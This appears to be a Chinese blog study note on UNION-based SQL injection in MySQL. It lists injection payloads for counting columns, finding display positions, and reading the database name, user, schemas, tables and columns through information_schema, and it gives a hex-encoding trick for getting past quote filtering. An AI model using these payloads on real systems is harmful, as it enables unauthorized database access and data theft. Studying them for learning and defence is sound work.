联合查询sql注入

Posted 安全小菜姬

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了联合查询sql注入相关的知识,希望对你有一定的参考价值。

大家好,这里是安全小菜姬。每天在这里和大家分享我的学习笔记。


今天和大家分享的是联合查询sql注入的笔记


在开始之前,我们需要了解mysql中UNION的使用规则

•UNION必须由两条或两条以上的SELECT语句组成,语句之间用关键字UNION分隔

•UNION中的每个查询必须包含相同的列数。 

•UNION会从查询结果集中自动去除了重复行。 

•只有最后一个select子句允许有order by; 

•只有最后一个select子句允许有limit


联合查询sql注入

利用前提:  页面上有显示位

           优       点:  方便、快捷、易于利用

                             缺        点:  需要显示位


判断列数

order by 10

order by 20

order by 15

......


判断显示位

php?id=-1 union select 1,2,3,4,5


获取当前数据库名称和当前连接数据库的用户

php?id=-1 union select 1,2,database(),4,5


php?id=-1 union select 1,2,user(),4,5


列出所有数据库

limit 一个一个打印出来库名

select SCHEMA_NAME from information_schema.SCHEMATA limit 0,1

group_concat 一次性全部显示

select group_concat(SCHEMA_NAME) from information_schema.SCHEMATA



列出(数据库:test)中所有的表

limit 一个一个打印出来字段名

select TABLE_NAME from information_schema.TABLES where TABLE_SCHEMA='test' limit 0,1


group_concat 一次性全部显示

select group_concat(TABLE_NAME) from information_schema.TABLES where TABLE_SCHEMA=‘security’


注意:数据库名称可以用十六进制来代替字符串,这样可以绕过单引号的限制。


列出(数据库:test 表:admin )中所有的字段

limit 一个一个打印出来

select COLUMN_NAME from information_schema.COLUMNS where TABLE_SCHEMA='test' and TABLE_NAME='admin' limit 0,1


group_concat 一次性全部显示

select group_concat(COLUMN_NAME) from information_schema.COLUMNS where TABLE_SCHEMA=‘security’ and TABLE_NAME=‘users’




以上是关于联合查询sql注入的主要内容,如果未能解决你的问题,请参考以下文章

联合查询sql注入

SQL注入之联合查询

sql注入之mysql的联合查询爆破

SQL注入--联合查询+布尔盲注

SQL注入之联合查询报错注入和sqlmap

sql注入:union联合查询